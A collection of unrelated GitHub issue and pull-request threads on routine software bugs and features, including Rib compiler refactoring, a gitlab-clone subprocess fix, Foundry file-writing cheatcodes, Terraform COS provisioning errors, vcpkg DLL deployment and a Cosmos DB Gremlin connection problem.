Fixes #966, #797 and other clean ups

Fixes #966, #797, and other cleanups:

We already have a WorkerServiceRibInterpreter service in the worker-service module, which handles the details of the worker-gateway (worker-service). To maintain consistency, this PR introduces WorkerServiceRibCompiler, responsible for compiling Rib Expr in a way specific to the worker-gateway. Example: WorkerServiceRibCompiler ensures that the  only allowed global variable in the Rib scrip is a request.

Removed the pure_evaluate function in the worker-service module. It was slightly harder to reason about, as it primarily dealt with evaluating Rib expressions without function calls (e.g., resolving a worker-name expression). This has been replaced with directly calling the rib::interpret_pure function. This is useful anytime we need to evaluate a Rib expression anywhere in Golem.

The function-type registry is a map of RegistryKey to RegistryValue. RegistryKey is a FunctionName, but it included includes Enum, Variant, etc.  As I was improving Rib, I find this part confusing, so I cleaned it up. To begin with, I wanted to treat everything as a generic function call and delegate the responsibility of differenting whether it is a Variant/Enum or actual worker-function call to the Rib Interpreter. However, that turned out to be a long-term goal with many brittle logic points. So it is still almost the same except that RegistryValue will hold the information whether or not it is a Variant. This allows safer pattern match and logical decisions during type inference.  This adjustment allows for more context-aware error messages. Example: Instead of "wrong number of arguments to register-user," we can have "wrong number of arguments to variant register-user". Likewise, we have the flexibility to add more information in the error messages.

Earlier error messages for invalid function calls before going to other phases of compilation which makes the error message more opaque due to extra details.

Unknown function call: `foo`

Unknown resource constructor call: `golem:it/api.{cart0(user_id).add-item}`. Resource `cart0` doesn't exist

Unknown resource method call golem:it/api.{cart(user_id).foo}. `foo` doesn't exist in resource `cart`

Incorrect number of arguments for function `foo`. Expected 1, but provided 2

Incorrect number of arguments for resource constructor `cart`. Expected 1, but provided 2

Invalid type for the argument in resource method `golem:it/api.{cart(user_id).add-item}`.
Expected type `record`, but provided argument `\"foo\"` is a `str`

etc

The error messages in the PR description is a candidate for review


TS types update

@hwillson I'm going to tag you here since you own this code - Daniel has a few suggestions 🙏🏽

I just pushed different step versions of these subgraphs. If it's ok for you @hwillson it would be great to update also the other versions

Awesome, this is all wonderful - thanks @BlenderDude!


Fix transplantation pattern

Noticed that Transplantation patterns should be split into 2 patterns. One where there is part of and one where there is whole.
Also, pointed out that would not need 'intestinal transplantation' especially if there is no need to transplant large intestine.
NTR: add face transplantation
Additionally, ovaries versus ovary

Fixed with #350


Update is not working

OS: Ubuntu linux
Python: 3.8
First call works: gitlab-clone --group_id <my-id> --token <my-token> --gitlab-url <my-url>
When I want to update the repo by the repeated call of the previous command it fails with error:
[Errno 2] No such file or directory: 'cd'
The issues are the lines https://github.com/LaserPhaser/gitlab-group-clone/blob/master/gitlab_clone/clonner.py#L52-L53
Popen cannot execute shell internal cd <dir>,
but the following construct which changes directory before the command execution can be used:
command = shlex.split(f"git pull")
result_code = subprocess.Popen(command, cwd=path)

@0ri0nX could you please provide stdout log?

hes right, i fixed it in my recent PR https://github.com/LaserPhaser/gitlab-group-clone/pull/8


Fix regression in inttest caused by #192

Fix failed inttest caused by #192.
Sorry for regression.

NP! Thank you.


Highlight first item in menu upon filtering

If the user moves through the menu then resumes typing, the
selectedIndex can end up larger than the contents of the menu.  This
can cause errors, or at least graphical glitches, and seems odd.

Unfiltered

Then type to filter:

You can see no option is highlighted, and the following exception occurs
vendor.bundle.js:925 Uncaught TypeError: Cannot read property 'rawCompletion' of undefined
    at EventEmitter.Ce._contextMenu.onSelectedItemChanged.subscribe.e (vendor.bundle.js:925)
    at emitOne (events.js:116)
    at EventEmitter.emit (events.js:211)
    at t.Event.dispatch (vendor.bundle.js:632)
    at Object.onSelectedItemChanged (vendor.bundle.js:987)
    at r (vendor.bundle.js:839)
    at vendor.bundle.js:839
    at vendor.bundle.js:824
    at n (vendor.bundle.js:632)
    at Object.filterMenu (vendor.bundle.js:632)

With the fix

@feltech I noticed that this PR removes the details code, I'm wondering if this impacts rendering of the documentation section for the autocomplete menu?

I believe the code responsible for processing a completionItem/resolve, which must be where the documentation comes from, was the bit I fixed in #2633.  I cannot find any references to the string SET_DETAILED_MENU_ITEM and the related methods that I removed.  Grepping the git history, it looks like the final reference to the top-level function updateItem was removed in e2dc9bcbfc11b2d73061deaada865fda26bed9ef as part of a refactor.


ROX-16743: Notifier Side pkg Refactor

Description
Title.
Checklist

[ ] Investigated and inspected CI test results
[ ] Unit test and regression tests added

Testing Performed
Manually verified through UI.

/test style-check


Except walk from function-arg-return

Fixes #298

Merging this as it's small in scope and I depend on this for #301


861 data table guidance

Summary of the changes
Added code examples for ic-data-table to canary section
Related issue
#861
Checklist

[x] I have manually accessibility tested any changes, if relevant.
[x] I have raised this pull request against the develop branch

Closing as will be overwritten by work done in #929


Is waiting for fractions of a second possible? Eg t.wait(2.5) - yes!

Hi Ken,
I see from your sample code https://github.com/tebelorg/TagUI-Python#use-cases

t.wait(2.5)

In TagUI, I thought the wait supports only integer.
In TagUI-Python, it now supports floating point like 2.5 seconds?
Also, can I use python's sleep function in TagUI-Python script? Are there any differences?
import time
time.sleep( 5 )

Yes, both TagUI and this project TagUI for Python supports fraction of seconds. It wasn't shown in the TagUI documentation but demoed in the sample workflows using wait step for X.Y seconds.
Yes you can use Python's sleep function. There is no difference. The only difference will be you will have to do the import time yourself, and also explicitly include the number of seconds. For t.wait(), if no parameter is given, it will default to 5 seconds, similar to TagUI behaviour.


Show multiple taxa on one map

This seems similar to #487, but I don't think that one was finished.
For a taxonmap such as the one shown on https://www.inaturalist.org/taxa/29299-Nerodia it would be great to be able to show differently colored markers for different sub-taxa

This is the typical place to post feature requests:
https://forum.inaturalist.org/c/feature-requests/

Closing b/c it needs to be spec'd out more. We usually use github issues for actionable work, and as Cassi mentioned, we'd prefer that feature requests go through forum.inaturalist.org. FWIW, there are a lot of things we could use color for on the taxon maps (captive vs wild, native vs introduced, multiple infraspecies, etc), and it's not clear which one serves the most people.


mv-shortString-type-to-utile

move function to get the short string type to utile for consistency

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
Attention: Patch coverage is 0% with 2 lines in your changes missing coverage. Please review.

Project coverage is 47.90%. Comparing base (2c3be4b) to head (fead134).

Files
Patch %
Lines

clic/src/execution.cpp
0.00%
0 Missing and 2 partials :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##           master     #316      +/-   ##
==========================================
- Coverage   47.93%   47.90%   -0.04%
==========================================
  Files         235      235
  Lines        3146     3144       -2
  Branches     1571     1571
==========================================
- Hits         1508     1506       -2
  Misses        368      368
  Partials     1270     1270

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Network troubleshooting checklist

Here we introduce a network troubleshooting checklist that should provide guidance for operators dealing with the most common network problems observed during the Keep Network lifetime.

Everything addressed! Ready for another shot.

Two comments on my side. Other than that, I am good to :shipit:.


Ability to ask iohook to look at rawCode instead of keyCode

When trying to create an electron application that uses mousetrap to record shortcuts and then iohook to listen for them globally, I've run into a bit of a snag.
As noted at the end of this comment I've noticed that the keycodes produced by mousetrap align with the rawcode value that iohook receives on a keypress. However, iohook uses the keycode value instead, as seen here.
Ideally then, it would be possible to add an optional parameter when starting iohook to choose to either listen on keycode or rawcode (I assume nobody would ever want both). This would preserve backwards compatibility while also providing more functionality.
If nobody has any major objections then I'm happy to make a PR for this soon.

I get the idea ! Let's make "keycode" the default option, and allow "rawcode" for your usage. I'll be happy to merge this PR.


Cheatcodes to write to CSV

Component
Forge
Describe the feature you would like
When running mainnet simulations it is often useful to log state to files, specifically CSVs. It would be great to have cheatcodes to do the following actions:

Add column with label and multiple values
Write CSV to path
Append values to column (potentially)

for (uint  i; i < 100; i++) {
    inputs.push(i);
    values.push(someFunction(i));
}
vm.csv_add_column("someFunctionInput", inputs);
vm.csv_add_column("someFunctionOutput", values);
vm.write_csv(path);

Additional context
No response

Any reason you can't use FFI for this use case?
I'm generally wary that we're going to end up adding a bunch of cheatcodes that are somewhat niche, not sure what the general stance is on this. The primary issue is that the more cheatcodes we add, the higher the maintenance burden, so imo limiting what cheatcodes we add/don't add or trying to add the more "general" version of the cheatcode is preferred

yea i lean towards a csv writer in solidity + a write_file cheatcode actually

I guess a write_file makes more sense, but I still wonder if this is not covered by the FFI cheatcode or if we can make it be covered by FFI. I can just already see someone requesting vm.write_json :smile:

I got it what I needed from ffi here:
    function _writeToFile(string memory line, string memory filePath) internal {
        string[] memory inputs = new string[](5);
        inputs[0] = "scripts/write-to-file.sh";
        inputs[1] = "-f";
        inputs[2] = filePath;
        inputs[3] = "-i";
        inputs[4] = line;

        vm.ffi(inputs);
    }

    function _writeToFile(string memory key, uint256 value, string memory filePath) internal {
        string memory line = string(abi.encodePacked(key, _convertUintToString(value)));

        string[] memory inputs = new string[](5);
        inputs[0] = "scripts/write-to-file.sh";
        inputs[1] = "-f";
        inputs[2] = filePath;
        inputs[3] = "-i";
        inputs[4] = line;

        vm.ffi(inputs);
    }

write-to-file.sh
#!/usr/bin/env bash
set -e

while getopts f:i: flag
do
    case "${flag}" in
        f) file=${OPTARG};;
        i) input=${OPTARG};;
    esac
done

echo $input >> $file

echo "0x"

But itd be much harder to handle csv columns this way. Was able to get this output:
--------------
Month 1
--------------
Exchange Rate: 25101
Total Supply-: 598449
Total Assets-: 1502219

--------------
Month 2
--------------
Exchange Rate: 25146
Total Supply-: 598449
Total Assets-: 1504891

--------------
Month 3
--------------
Exchange Rate: 25197
Total Supply-: 598449
Total Assets-: 1507920

--------------
Month 4
--------------
Exchange Rate: 25252
Total Supply-: 598449
Total Assets-: 1511246

--------------
Month 5
--------------
Exchange Rate: 25312
Total Supply-: 598449
Total Assets-: 1514832

somewhat a dupe of https://github.com/foundry-rs/foundry/issues/1022

I guess a write_file makes more sense, but I still wonder if this is not covered by the FFI cheatcode or if we can make it be covered by FFI? I can already see someone requesting vm.write_json :smile:

the plan is to do any formatting you want in solidity and pass it up to rust. ffi is slow & cumbersome for simply writing a file (having to enable it just to write a file is overkill imo)

Any reason you can't use FFI for this use case? :thinking:
I'm generally wary that we're going to end up adding a bunch of cheatcodes that are somewhat niche, not sure what the general stance is on this. The primary issue is that the more cheatcodes we add, the higher the maintenance burden, so imo limiting what cheatcodes we add/don't add or trying to add the more "general" version of the cheatcode is preferred

The riches are in the niches


[Bug] GraphQL exceptions are ignored and replaced with a generic "Graphql validation errors"

Describe the bug
When I exceed the maximum complexity, I don't get any error object that allows me to know that and retry.
Steps to reproduce
Call monday.api, exceed the maximum complexity, and you will get an unmeaningful error message "graphql validation errors"
Expected behavior
Like the actual XHR request of the query, return me the error list.

Hey @amitozalvo, the issue is solved in the new 0.1.2 release (https://github.com/mondaycom/monday-sdk-js/releases/tag/0.1.2)


Global datasets options for existing custom chart extension

Documentation Is:

[ ] Missing or needed
[ ] Confusing
[x] Not Sure?

Global datasets options for existsing custom chart extension
There is a new structure to configure the datasets options at global level for each chart type.
In the documentation where it's explained how to extend existing charts, it's reported:

// Sets the default config for 'derivedBubble' to be the same as the bubble defaults.
// We look for the defaults by doing Chart.defaults[chartType]
// It looks like a bug exists when the defaults don't exist
Chart.defaults.derivedBubble = Chart.defaults.bubble;

It looks like that you don't have to create any global dataset options, even if I think it should, like all other default options, something like:
Chart.defaults.derivedBubble = Chart.defaults.bubble;
Chart.defaults.global.datasets.derivedBubble = Chart.defaults.global.datasets.bubble;

Is this part missing  into New Charts documentation?

See issue #6636 where it's explained how to do it.

@benmccann I'm gonna try... I'll do my best because I'm very busy as well

@benmccann created PR #6649. Hopefully it is ok

Closing as #6649 is merged


Currently works?

Hi!
The script it is working today?

The recent changes in the instragram API requires one to apply to get the permissions needed to run this.
Therefore it will not work.
Sorry


COS instance is still required even when ATracker to COS is not requested

When the module is used with enable_at_event_routing_to_cos_bucket = false and log_analysis_provision = false, the module should not provision a COS instance or bucket and the COS-related inputs should be ignored.
Currently the only way to avoid terraform errors is to pass an existing COS instance CRN.
This scenario is likely to occur in a DA stack context where observability components has already been deployed elsewhere and the stack just needs to skip provisioning new observability resources.
Affected modules

solutions/instances/main.tf
Terraform CLI and Terraform provider versions

Terraform version:
Provider version:

Terraform output
Inputs:
enable_at_event_routing_to_cos_bucket = false
enable_at_event_routing_to_log_analysis = false
log_analysis_provision = false
enable_platform_logs = false
cloud_monitoring_provision = false

activity_tracker_enable_archive = false
log_analysis_enable_archive = false

existing_log_archive_cos_bucket_name = "skip"
existing_log_archive_cos_bucket_endpoint = "skip"
existing_at_cos_target_bucket_name = "skip"
existing_at_cos_target_bucket_endpoint = "skip"

existing_cos_instance_crn = null

Plan result:
2024/07/31 19:28:44 Terraform plan | Planning failed. Terraform encountered an error while generating this plan.
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | Error: Invalid index
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |   on main.tf line 20, in locals:
 2024/07/31 19:28:44 Terraform plan |   20:   cos_instance_crn            = var.existing_cos_instance_crn != null ? var.existing_cos_instance_crn : module.cos_instance[0].cos_instance_crn
 2024/07/31 19:28:44 Terraform plan |     ├────────────────
 2024/07/31 19:28:44 Terraform plan |     │ module.cos_instance is empty tuple
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | The given key does not identify an element in this collection value: the
 2024/07/31 19:28:44 Terraform plan | collection has no elements.
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | Error: Invalid index
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |   on main.tf line 22, in locals:
 2024/07/31 19:28:44 Terraform plan |   22:   cos_instance_guid           = var.existing_cos_instance_crn == null ? module.cos_instance[0].cos_instance_guid : element(split(":", var.existing_cos_instance_crn), length(split(":", var.existing_cos_instance_crn)) - 3)
 2024/07/31 19:28:44 Terraform plan |     ├────────────────
 2024/07/31 19:28:44 Terraform plan |     │ module.cos_instance is empty tuple
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | The given key does not identify an element in this collection value: the
 2024/07/31 19:28:44 Terraform plan | collection has no elements.
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | Error: Invalid index
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |   on outputs.tf line 52, in output "cos_instance_id":
 2024/07/31 19:28:44 Terraform plan |   52:   value       = var.existing_cos_instance_crn == null ? module.cos_instance[0].cos_instance_id : null
 2024/07/31 19:28:44 Terraform plan |     ├────────────────
 2024/07/31 19:28:44 Terraform plan |     │ module.cos_instance is empty tuple
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | The given key does not identify an element in this collection value: the
 2024/07/31 19:28:44 Terraform plan | collection has no elements.
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | Error: Invalid index
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |   on outputs.tf line 57, in output "cos_instance_guid":
 2024/07/31 19:28:44 Terraform plan |   57:   value       = var.existing_cos_instance_crn == null ? module.cos_instance[0].cos_instance_guid : null
 2024/07/31 19:28:44 Terraform plan |     ├────────────────
 2024/07/31 19:28:44 Terraform plan |     │ module.cos_instance is empty tuple
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | The given key does not identify an element in this collection value: the
 2024/07/31 19:28:44 Terraform plan | collection has no elements.
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | Error: Invalid index
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |   on outputs.tf line 62, in output "cos_instance_name":
 2024/07/31 19:28:44 Terraform plan |   62:   value       = var.existing_cos_instance_crn == null ? module.cos_instance[0].cos_instance_name : null
 2024/07/31 19:28:44 Terraform plan |     ├────────────────
 2024/07/31 19:28:44 Terraform plan |     │ module.cos_instance is empty tuple
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | The given key does not identify an element in this collection value: the
 2024/07/31 19:28:44 Terraform plan | collection has no elements.
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | Error: Invalid index
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan |   on outputs.tf line 67, in output "cos_instance_crn":
 2024/07/31 19:28:44 Terraform plan |   67:   value       = var.existing_cos_instance_crn == null ? module.cos_instance[0].cos_instance_crn : null
 2024/07/31 19:28:44 Terraform plan |     ├────────────────
 2024/07/31 19:28:44 Terraform plan |     │ module.cos_instance is empty tuple
 2024/07/31 19:28:44 Terraform plan |
 2024/07/31 19:28:44 Terraform plan | The given key does not identify an element in this collection value: the
 2024/07/31 19:28:44 Terraform plan | collection has no elements.

Debug output

Expected behavior

Actual behavior

Steps to reproduce (including links and screen captures)

Run terraform apply

Anything else

By submitting this issue, you agree to follow our Code of Conduct

@in-1911
Added a PR to skip cos creation when not required.
Also,
existing_log_archive_cos_bucket_name = null
existing_log_archive_cos_bucket_endpoint = null
existing_at_cos_target_bucket_name = null
existing_at_cos_target_bucket_endpoint = null

These above values should be set to null when not required, "skip" will be valid string input and could cause errors.

I tried to replicate your scenario and didn't face any issue, but if you could still give it a try using the skip-cos branch and let me know if you face any issue.

@Aashiq-J - as far as I can tell, #136 should address the issue I am facing in my case.
I used "skip" as bucket names just to indicate dummy data, I think when I tried a null, plan also failed because module.cos_bucket was an empty list due to the other flags. I just did not want to obscure the error with that.
With the new changes I can use null for the bucket names, but I think it should not matter as long as no COS instance is provisioned and no buckets are created.
I'll try to test the branch, but I am using the module in Cloud Projects in a stack, so trying it locally will take some time.

PR merged. Closing issue.


Add missing syscall.Syscall6(SB)

Hi !
It seems that you miss copy-pasted the CALL syscall.Syscall6(SB)  and forgot the 6.
Thanks :)

Totally missed that! Thanks!


Remove image tag that doesn't exist

If you take this one, you can close the #12

In wirepayment module, logo.png is used into infos template. So why don't use  ../module/ps_checkpayment/logo.png here to stay uniform ?
https://github.com/PrestaShop/ps_wirepayment/blob/master/views/templates/hook/infos.tpl#L27

There is actually a third solution, as you suggested @Klemart3D. This has been done in #18.
This bug has been existing for too long, let's merge the other PR consistent with ps_wirepayment.
Thanks for your contribution everybody!


[patch] Detatched path

Let's the my_node.semantic_path retain parent path information even through the __get/setstate__ cycle (e.g. when (un)pickling)

Pull Request Test Coverage Report for Build<PHONE_NUMBER>4
Details

0 of 0   changed or added relevant lines in 0 files are covered.
11 unchanged lines in 2 files lost coverage.
Overall coverage decreased (-0.03%) to 91.276%

Files with Coverage Reduction
New Missed Lines
%

mixin/semantics.py
5
96.55%

nodes/composite.py
6
89.95%

Totals

Change from base Build<PHONE_NUMBER>3:
-0.03%

Covered Lines:
2961

Relevant Lines:
3244

💛  - Coveralls


euclidean algorithm evaluation

Evaluation
Since neither of expended euclidean algorithm and its educational version were provided and no api function is implemented you receive 0 points from this project.

Reevaluation: students provided solution which meets the requirements - There are some minor flaws such as sloppy comments, formatting problems. Nonetheless, final score is 9/9 points.


Buggy type conversion

This is an input of type 'number' straight from the demo app.
new InputView({
  label: "Coolness Factor",
  name: "coolnessFactor",
  value: this.model && this.model.coolnessFactor,
  type: "number",
})

If I focus input, enter some number and submit form it sends value as Number
{"id":11, "firstName": "Ivan", "lastName": "Kleshnin", "coolnessFactor": 1}

Lets then rerender page. If I now submit form (omitting manual input action) it sends value as String!
{"id": 11, "firstName": "Ivan", "lastName": "Kleshnin", "coolnessFactor": "1"}

It looks like, Ampersand-Input somehow binds it type conversion with input action which is obviously wrong but may be it's just a side-effect of something else. Documentation mentions there is a possibility to make value derived:
 derived: {
  value: {
    deps: ['...'],
    fn: function () {
      ...
    }
},

but I want to get basic conventions on this. I'm used to think that types should be set in declarative way and I don't want to define those deps for every field.

I dont think this is actually where the issue is. If you're populated the value with a Number type it sets it correct in initialize(). The issue is in render() calling setValue().
    setValue: function (value, skipValidation) {
        if (!value && value !== 0) {
            this.input.value = '';
        } else {
            this.input.value = value.toString();
        }
        this.inputValue = this.input.value;
        if (!skipValidation && !this.getErrorMessage()) {
            this.shouldValidate = true;
        }
    },

I'm not sure why the method is setting inputValue to the string value since when a user edits the field handleInputChange is called:
    handleInputChanged: function () {
        if (document.activeElement === this.input) {
            this.directlyEdited = true;
        }
        this.inputValue = this.clean(this.input.value);
    },

This got fixed in 4.0.1


The port library is not automatically installed after building or installing

Please create a discussion in https://github.com/microsoft/vcpkg/discussions/new instead.
我试过几种方法都不行
CMakeLists.txt
cmake_minimum_required(VERSION 3.21)
project(wxtest0)

set(CMAKE_CXX_STANDARD 14)
#if("${CMAKE_CXX_COMPILER_ID}" MATCHES "MSVC")
    add_compile_options("/utf-8")
#    add_compile_options("/subsystem:windows")
#endif()
set(wxBUILD_SHARED OFF)
set(VCPKG_LIBRARY_LINKAGE static)
#if(PORT MATCHES "qt5-")
#    set(VCPKG_LIBRARY_LINKAGE dynamic)
#endif()
find_package(wxWidgets REQUIRED)
#link_directories(vcpkg_installed/x86-windows/bin)
add_executable(wxtest0 WIN32 main.cpp)
target_include_directories(wxtest0 PRIVATE ${wxWidgets_INCLUDE_DIRS})
target_link_libraries(wxtest0 PRIVATE ${wxWidgets_LIBRARIES})
#install(TARGETS wxtest0 DESTINATION vcpkg_installed/x86-windows/bin)

vcpkg.json
{
  "name": "wxtest0",
  "version": "0.0.1",
  "license": "MIT",
  "dependencies": [
    "wxwidgets"
  ]
}

如果把dll复制到可执行文件同一个目录下是可以运行的,有没有其他方法不复制也可以运行呢?

正常来讲是可以的，你可以试试设置-DX_VCPKG_APPLOCAL_DEPS_INSTALL=ON.

还是不行

检查下你的CMAKE_BINARY_DIR里面有没有安装dll。

没有

Install一下，再看看dll有没有安装在install目录里面？

不对呀，manifest模式下完全不需要手动运行./vcpkg install，你能发一下你的project的configure日志吗？

除了vcpkg_installed 我打包出来了
cmake-build-debug.zip
dotidea.zip

测试项目我放这里 https://github.com/fldx/wxtest0

看起来没啥问题，你的powershell是用Windows Store安装的吗？

powershell是系统自带的吧,Windows Store只安装过Windows Terminal

I can confirm this vcpkg bug.
请提供一下你的Visual Studio版本。谢谢。

I can reproduce this issue using the following code:

add_executable (CMakeProject2 WIN32 "CMakeProject2.cpp")
find_package(wxWidgets REQUIRED)
target_include_directories(CMakeProject2 PUBLIC ${wxWidgets_INCLUDE_DIRS})
target_link_libraries(CMakeProject2 PRIVATE ${wxWidgets_LIBRARIES})
install(TARGETS CMakeProject2
  RUNTIME DESTINATION bin
  LIBRARY DESTINATION lib
  ARCHIVE DESTINATION lib
)

#include "CMakeProject2.h"
#include <iostream>
#include <wx/wxprec.h>
#ifndef WX_PRECOMP
#include <wx/wx.h>
#endif

class MyApp : public wxApp
{
public:
    virtual bool OnInit();
};
class MyFrame : public wxFrame
{
public:
    MyFrame();
private:
    void OnHello(wxCommandEvent& event);
    void OnExit(wxCommandEvent& event);
    void OnAbout(wxCommandEvent& event);
};
enum
{
    ID_Hello = 1
};
wxIMPLEMENT_APP(MyApp);
bool MyApp::OnInit()
{
    MyFrame *frame = new MyFrame();
    frame->Show(true);
    return true;
}
MyFrame::MyFrame()
    : wxFrame(NULL, wxID_ANY, "Hello World")
{
    wxMenu *menuFile = new wxMenu;
    menuFile->Append(ID_Hello, "&Hello...\tCtrl-H",
        "Help string shown in status bar for this menu item");
    menuFile->AppendSeparator();
    menuFile->Append(wxID_EXIT);
    wxMenu *menuHelp = new wxMenu;
    menuHelp->Append(wxID_ABOUT);
    wxMenuBar *menuBar = new wxMenuBar;
    menuBar->Append(menuFile, "&File");
    menuBar->Append(menuHelp, "&Help");
    SetMenuBar(menuBar);
    CreateStatusBar();
    SetStatusText("Welcome to wxWidgets!");
    Bind(wxEVT_MENU, &MyFrame::OnHello, this, ID_Hello);
    Bind(wxEVT_MENU, &MyFrame::OnAbout, this, wxID_ABOUT);
    Bind(wxEVT_MENU, &MyFrame::OnExit, this, wxID_EXIT);
}
void MyFrame::OnExit(wxCommandEvent& event)
{
    Close(true);
}
void MyFrame::OnAbout(wxCommandEvent& event)
{
    wxMessageBox("This is a wxWidgets Hello World example",
        "About Hello World", wxOK | wxICON_INFORMATION);
}
void MyFrame::OnHello(wxCommandEvent& event)
{
    wxLogMessage("Hello world from wxWidgets!");
}

The wxwidgets dlls are not installed during the build process and during installation.

Visual Studio 2019

applocal.ps1 may have some bugs and it can't print any logs.
Since we received many issues with that, @BillyONeal do we have any plans to make it executable?

I can reproduce this issue using the following code:
The wxwidgets dlls are not installed during the build process and during installation.

My reading of
https://github.com/microsoft/vcpkg/blob/a0b2608a015fe05fe80255f8844489c106493291/scripts/buildsystems/vcpkg.cmake#L50
suggests that this is expected without -DX_VCPKG_APPLOCAL_DEPS_INSTALL=ON on the CMake configuration line.

My reading of
https://github.com/microsoft/vcpkg/blob/a0b2608a015fe05fe80255f8844489c106493291/scripts/buildsystems/vcpkg.cmake#L50
suggests that this is expected without -DX_VCPKG_APPLOCAL_DEPS_INSTALL=ON on the CMake configuration line.

Set X_VCPKG_APPLOCAL_DEPS_INSTALL to ON or OFF can't resolve this issue.

This OPEN issue is from 2022!

The issue no longer reproduces, and the corresponding DLL can be copied to the project folder as expected.
Environment: VS2022 + the latest vcpkg
This issue seems to have been resolved.


@Composable onDispose is not called if we close the window

import androidx.compose.desktop.Window
import androidx.compose.foundation.layout.ExperimentalLayout
import androidx.compose.runtime.onDispose

@OptIn(ExperimentalLayout::class)
fun main() = Window {
    onDispose {
       println("onDispose")
    }
}

I think we need to dispose the composition inside ComposeWindow/ComposePanel:
fun ComposeWindow.setContent(content: @Composable () -> Unit) {
    composition = this.layer.setContent(
        parent = parent,
        content = content
    )
    return composition
}

override fun dispose() {
    composition.dispose()
    layer.dispose()
    super.dispose()
}

Fixed in version 0.3.0-build138.

Fixed in version 0.3.0-build138.

Please check the following ticket on YouTrack for follow-ups to this issue. GitHub issues will be closed in the coming weeks.


Create a default recipe for processing Linux artifacts with Plaso

Create a default recipe, similar to Windows Triage Recipe that will process a subset of  important artifacts for Linux hosts (e.g. /var/log, crontabs, user home directories) which would speed up processing time

Adding filesystem timeline too, I'd say.


[YBUG.IO] There seems to be an issue with...

There seems to be an issue with the display for the USDT Pool, amounts off by a decimal.   I am not sure if it affected the current share of reward pool
#1. Incorrect by a decimal put in
#2. Didn't affect withdrawl though\
Source url: https://live.sovryn.app/liquidity
Reported by:
Reported at: 17 Apr at 03:39 UTC
Location: NL, North Holland, Amsterdam
Browser: Chrome 89.0.4389.128
OS: Windows 10.0
Screen: 1536x864
Viewport: 1536x722
Screenshot:

For more details please visit report page on Ybug:
https://ybug.io/dashboard/reports/detail/cr7g2acnba5bp762v9d6

@BetsyBraddock I believe this is resolved now, can you close if so?

Thanks @soulBit it was an ongoing issue that is now resolved


Support tests from https://github.com/BurntSushi/toml-test

Need to create an adaptor test framework that will deserialize toml to class and after that serialize this class to json, so we will be able to adopt these tests in our library.
Test base:  https://github.com/BurntSushi/toml-test

@akuleshov7 I've looked into it a little bit, and the main problem is that if we use the tool provided by toml-test, we don't know the shape of the data in the TOML. So, the way I see it, there are two possibilities:

copy all the tests, and create the classes for each test
have a way of parsing the TOML to an intermediate format (like JSON does with Json.parseToJsonElement), and then be able to translate this format into JSON

Hm, @bishiboosh, and how about making a decoding with TOML, then make encoding of the resulted data with JSON and then compare results as JSON strings

The fact is that to decode from TOML with ktoml, we need the class representation. The toml-test tools does not provide us with that, only the TOML file. The only ways I see of dealing with that input is like I said in my message, either copy all the tests and do the work done in toml-test ourselves (just use the test base), or implement a way to transform a TomlNode into a JsonElement (which could then be transformed to its JSON string representation)


Ignore duplicate rows

Overview
If a list contains duplicate rows, previously both rows were fully
processed. In cases where the duplicate item created a new facility,
this new facility would then end up being created twice, resulting
in duplicate facilities.
We now mark duplicate FacilityListItems from the same list as DUPLICATE,
preventing the further processing of the second item.
Connects #2021
Demo

Testing Instructions

Submit and fully process a list with duplicate rows:
Duplicates.csv
The list should have two errors (duplicates) and five successes.
View the processed lists under My Lists. Two items should be marked DUPLICATE.

Checklist

[x] fixup! commits have been squashed
[x] CI passes after rebase
[x] CHANGELOG.md updated with summary of features or fixes, following Keep a Changelog guidelines
[x] This PR is targeted at the correct branch (develop vs. ogr/develop)
[ ] If this PR applies to both OAR and OGR a companion PR has been created

Thanks for reviewing!


Haml elements with multi words separated by '-' do not highlight correctly

Hi,
When i use a framework like Ionic, the highlight element with multi words stop after the first word :

@Jerome67000 I was having the same issue as you and I fixed it.
For the moment you can find the solution here #35.

Wow thanks for the hack, its works fine ;)


Connection forcibly closed by remote host when executing commands

I have successfully connected to my graph following the instructions in the Azure documentation. However, I cannot execute any Gremlin commands after :remote console. I instead get an error message stating that the connection has been forcibly closed.

I created a new vertex (using Data Explorer in the Azure Portal) in case it's simply a matter of having a null/empty graph, but I'm still encountering the same issue.

@zcsoriano Thanks for your question. Can you please share the url for the particular Azure documentation you have been following?

@Karishma-Tiwari-MSFT, I was following the steps here: https://docs.microsoft.com/en-us/azure/cosmos-db/create-graph-gremlin-console

Can you please verify that your remote-secure.yaml file is correct, as I am unable to reproduce this issue.
hosts: [miubezzi-graphapi.gremlin.cosmosdb.azure.com]
port: 443
username: /dbs/sample-database/colls/sample-graph
password:
connectionPool: {
enableSsl: true}
serializer: { className: org.apache.tinkerpop.gremlin.driver.ser.GraphSONMessageSerializerV1d0, config: { serializeResultToString: true }}
C:\Opt\apache-tinkerpop-gremlin-console-3.3.3\bin>gremlin.bat
     \,,,/
     (o o)

-----oOOo-(3)-oOOo-----
plugin activated: tinkerpop.server
plugin activated: tinkerpop.utilities
plugin activated: tinkerpop.tinkergraph
gremlin> :remote connect tinkerpop.server conf/remote-secure.yaml
